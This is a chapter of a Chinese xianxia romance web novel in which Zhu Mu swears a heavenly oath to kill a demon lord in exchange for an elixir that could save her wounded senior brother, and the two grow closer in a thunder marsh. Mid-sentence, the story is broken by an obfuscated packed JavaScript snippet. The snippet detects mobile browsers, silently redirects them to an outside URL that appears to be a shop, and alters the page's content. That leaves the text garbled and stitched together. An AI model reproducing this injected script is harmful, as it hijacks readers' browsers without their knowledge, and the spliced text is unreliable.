3. 离光

作品:《师兄他柔情似水

    朱暮见闻飞卿脸色渐渐红润,稍微清了下嗓子,轻声询问:


    “师兄,你的身子为何愈发孱弱了?”


    倘若再不找到无垠液修复他的灵根,他定会提早身死道消。


    可无垠液太过难寻,它又会在雷泽何处呢?


    “师妹,我深知你是怕我被仇咏报复才将我带进雷泽,但生死由命,我早已看开,你更无需自责。”


    朱暮越听越烦,撇嘴叮嘱道:


    “少说些话会死得慢一些。”


    自遇见闻飞卿以来,朱暮就没一天顺心顺意过,还屡次出糗。


    呛了他一句后,心中顿时畅快了不少。


    “可是朱道友?”


    朱暮抬头看向离自己十步远的一男一女,不耐烦地回应:


    “是又如何?”


    逢人就被问是否本人,她都快被烦死了。


    不料眼前的较为年长些的男子却恭恭敬敬道:


    “在下杌山派曲少咸,这位是我的小师叔余泑山。”


    他们二人见闻飞卿重伤,便拿出一瓶丹药打算相赠,却被朱暮一口回绝。


    “不必,我可不想平白无故欠你们人情。”


    话落,朱暮从紫藤囊中掏出一大堆瓶瓶罐罐,翻找了好一会儿才找到对症之药。


    “龙须丹?”


    余泑山一眼便认出了朱暮喂给闻飞卿的那颗丹药,见其一连喂了好几颗后,惊讶地转头朝曲少咸看去。


    龙须丹可是九阶炼丹师才能炼制出来的极品丹药,竟被这样暴殄天物。


    结界震荡的声音隔空传来,四人被响动吸引。


    “是那只英招!祂快要突破法阵了。”


    缠绕在朱暮腰间的离光自主飞去,将英招身上的雷丝吸收后,却见英招正在一圈圈变小,逐渐变成了一只双翼神驹的模样。


    原来并不是英招,而是一只被雷丝缠绕然后幻化成英招模样的妖兽。


    那只妖兽步履轻盈地朝朱暮走来似要认主,但其姿态又难掩傲慢不甘。


    “你既不愿,何必要来?”


    朱暮笑着嘲讽,伸手收回离光。


    闻飞卿在丹药作用下,已经能稳稳站起身,手腕间的霜雪却突然脱手,一点一点变大重组成一朵莲花。


    鳞片为花,雀羽为叶。


    绽开之际,内含的漩涡将妖兽吸入其中。


    霜雪只会听凭主人心意,而闻飞卿早已凭精血结契,那么它现下的所有举动都是因他而起。


    朱暮愕然看向闻飞卿,不曾料到他竟会替她出气。


    妖兽被霜雪吐出之时,已经奄奄一息。


    朱暮忽觉自己温柔似水的大师兄变得面目全非,遇到此种情形时他分明应该劝她息事宁人,却做出来如此心狠之事。


    “师兄,雷泽之中不可杀生,会受反噬。”


    她说完便越发觉得不对劲:这难道不是闻飞卿该说的话吗?


    奇怪……实在是太过奇怪了。


    余泑山拿出一块留影石递给朱暮,缓声说:


    “朱道友,我知晓无垠液在何处。”


    朱暮与闻飞卿对视一眼,一起伸手去拿留影石,在碰到的一瞬又默契地同时缩回手。


    曲少咸见状抿起唇来,实在忍不住就别过脸去偷笑。


    他笑意未尽,却不得不尽快开口解决此事。


    “小师叔,你给朱道友吧。”


    余泑山点头,将留影石递给朱暮。


    朱暮在接过之时,目光稍显凌厉地问:


    “你们想要什么?”


    曲少咸垂下眼睫,紧握着手心尽力镇定下来。


    “想求朱道友一个承诺。”


    “承诺这种不够牢靠的东西,你也敢要?”


    曲少咸收起笑容,随即并起三指举到头边。


    “朱道友只需指天为誓,自会有天道来约束。”


    天道之力,重在因果循环。


    若是就此答应,日后万一背弃诺言便会业障缠身,可寻到无垠液的机会就在眼前,她绝不能舍弃。


    闻飞卿先朱暮一步做了决定,他打算将留影石扔回余泑山手中,却发现那颗石头早已被紧紧握住。


    “你先说说要我做些什么。”


    “只需朱道友日后竭力斩杀现任魔城尊主晏双溪。”


    朱暮仔细回想了一番,晏双溪如今的修为是渡劫中期,而她还是一个金丹大圆满。


    但她的金丹境,相当于其他修士的元婴境,此事于她而言也不难,只需尽快提升修为。


    她的目光愈发坚韧,厉声喊道:


    “我朱暮今日向天道起誓,不论处于何种处境,皆会力守誓约,倘若违背约定,便受五雷轰顶之罚。”


    闻飞卿在朱暮开口时试图捂住她的嘴,却被突如其来的阵法禁锢了身子,直到她说完之后法术才被解除。


    “师妹,我本就是将死之人,何必为我做到如此地步?”


    朱暮摊开掌心,莞尔笑道:


    “不过杀个人罢了,我又怎会做不到?”


    在闻飞卿眼里,朱暮是个狂傲的人,却也是唯一一个不因他修为高低而守护他的人。


    不过三面之缘,凭何甘愿赌上一切呢?


    闻飞卿喉结滚动,神情略显自嘲地盯着朱暮。


    “走,去寻无垠液。”


    朱暮将妖兽收入紫藤囊,轻握着闻飞卿的手腕向浑夕潭走去,路上黄雷遍布,竟全被离光吸收。


    一道赤雷极速劈来,离光回到朱暮手中。


    朱暮会意后运转起灵力挥出一鞭,赤雷一碰到就即刻消散于空中。


    离光将周围雷光尽数吸收完,便乖巧地缠回朱暮腰身。


    “师妹,我会寻到破解之法。”


    朱暮皱眉,讶异地发出来一个“啊”字,反应过来闻飞卿提起的是何事之后,轻捏了一下他的手腕。


    “算不上难事,我能做到。”


    她见闻飞卿脸上的担忧之色还未消退,又笑着问:


    “师兄不肯信我?”


    “我信,却也不想你为我豁出命去。”


    朱暮松开手,上下打量了一遍闻飞卿,随即豁然开朗。


    “你觉得我会死?”


    她说罢伸出拇指微微一提,就勾起了闻飞卿手腕间的霜雪。


    闻飞卿顺着朱暮的力道抬手,目光炯炯地回应:


    “师妹不如换个说法。”


    朱暮的指尖向手心弯了一下,直勾勾盯着闻飞卿说道:


    “愿闻其详。”


    闻飞卿沉默数息,终是妥协地开口:


    “其实是……我怕你死。”


    朱暮双睫闪动,好奇地追问:


    “这么在意我的死活,不是喜欢我是什么?”


    闻飞卿陷在朱暮闪烁的眸光中移不开眼,筑起的坚固心墙寸寸向后倒塌。


    原来真的会有这么一个人肯不顾千难万险地为他而来,即便交情不深、代价惨重,也愿奋力一搏。


    “朱暮,你最想要何物?”


    这是他第一次直呼自己师妹的名姓,珍重意味不言而喻。


    朱暮突觉气氛过于凝重,随口胡诌扯了一句:


    “倘若我想要师兄的元阳,也肯奉上吗?”


    闻飞卿呆愣地盯着朱暮,脸颊“唰”一下就红了,甚至溢到耳根。


    修仙者只有择定情念一生的道侣时才会甘心缔结神魂契,然后主动献


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394981|200368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出元阴抑或元阳。


    朱暮却玩笑似地问出这句话,对他的认知打击不小。


    “仙途遥长,师妹还需再三斟酌道侣人选。”


    朱暮不由自主地挠头,凑近了些问:


    “一个人只能选定一位道侣吗?”


    闻飞卿在朱暮凑过来的那一刻瞬间屏了住呼吸,极力平复心情后,认真回答:


    “我只会有一位道侣。”


    其他人如何做他管不着,他只会约束自己。


    “若是你的道侣不幸身死,你当如何?”


    闻飞卿望着天边那轮落日,会心一笑道:


    “我会寻遍世间复活之法,哪怕以命换命,也要将她的命抢回来。”


    朱暮紧盯着闻飞卿在朝霞映照下的容颜,竟莫名有一瞬心悸。


    她呼吸慌乱地低下头,结结巴巴询问:


    “师兄所言甚是令人钦佩,只是……万一还是救不回来呢?”


    闻飞卿目光愈发笃定,直截了当道:


    “那便殉情。”


    朱暮立即反问:


    “可修仙不是为求长生吗?”


    闻飞卿抬手伸展五指,透过缝隙去看余晖,他不禁感叹自己修仙尚且不足百年却早已阅尽人情冷暖。


    他扬起一个满是苦涩意味的笑容,轻声开口:


    “修仙者求仙问道只是为了长生吗?”


    “世人都想长生,这有何不对?”


    “长生之后就能将身上所背负的七情六欲都丢弃掉吗?”


    “既求长生,那么七情六欲便是负累。”


    足足有三息的沉默在二人之间回荡,闻飞卿试着汇聚仅剩的微弱灵力召出自己的本命剑。


    在看到一柄极小的灵剑从他手心冒出时,笑容也灿烂起来,恍若波光粼粼的湖面上突然而来的一阵疾风,将本就难得的生机变得更加蓬勃。


    “可活着不就是为了体悟存在于世间的喜怒哀乐吗?不然为何苦去求这无聊的长生?”


    朱暮也不知为何,竟下意识地用留影石记录下了闻飞卿的笑颜。


    她分明只是觉得闻飞卿可怜才想帮他一把,怎么开始在意起了他的情绪?


    她压不下这种愈演愈烈的感觉,只能转身离开,自言自语道:


    “修仙者想摒弃前尘修寂寥仙道,然后又不顾一切地回头去体验前尘种种,真是自相矛盾。”


    闻飞卿抬脚去追,身上的蚀骨毒却发作起来,一呼一吸间,承受的都是锥心之痛。


    他疼得泪眼模糊,不过六息便晕了过去,闭上眼那刻只瞧见朱暮向他狂奔而来。


    “师妹……”


    一个时辰后,闻飞卿缓缓睁开眼,映入他眼帘的竟是朱暮靠在岩壁上的睡颜。


    她酣睡时比平常乖上不少,让人不禁生出怜爱之心。


    他睫羽翕动着,低喃道:


    “朱暮,留下来吧。”


    一直留在他身边,不论生死。


    这种不切实际的想法很快被否定,他唇角渐渐上扬,艰难地抬起手去摸朱暮的下颌。


    朱暮突然睁眼,将闻飞卿的手吓了回去。


    “师兄,你在做什么?”


    闻飞卿视线飘忽不定,索性闭眼装疼,朱暮见后果然不再追问,只一心关心他的伤势。


    “师兄,你身上怎会被种下蚀骨毒?”


    “仇家太多,难免沾上些毒。”


    闻飞卿往朱暮怀里蹭了会,便又沉沉睡去,朱暮不可置信地盯着怀中熟睡之人。


    不过半息就已然入睡了?


    朱暮捧着闻飞卿的下巴,用力摇着他的头,无奈地大喊大叫:


    “师兄,再睡下去就要永远留在雷泽了!”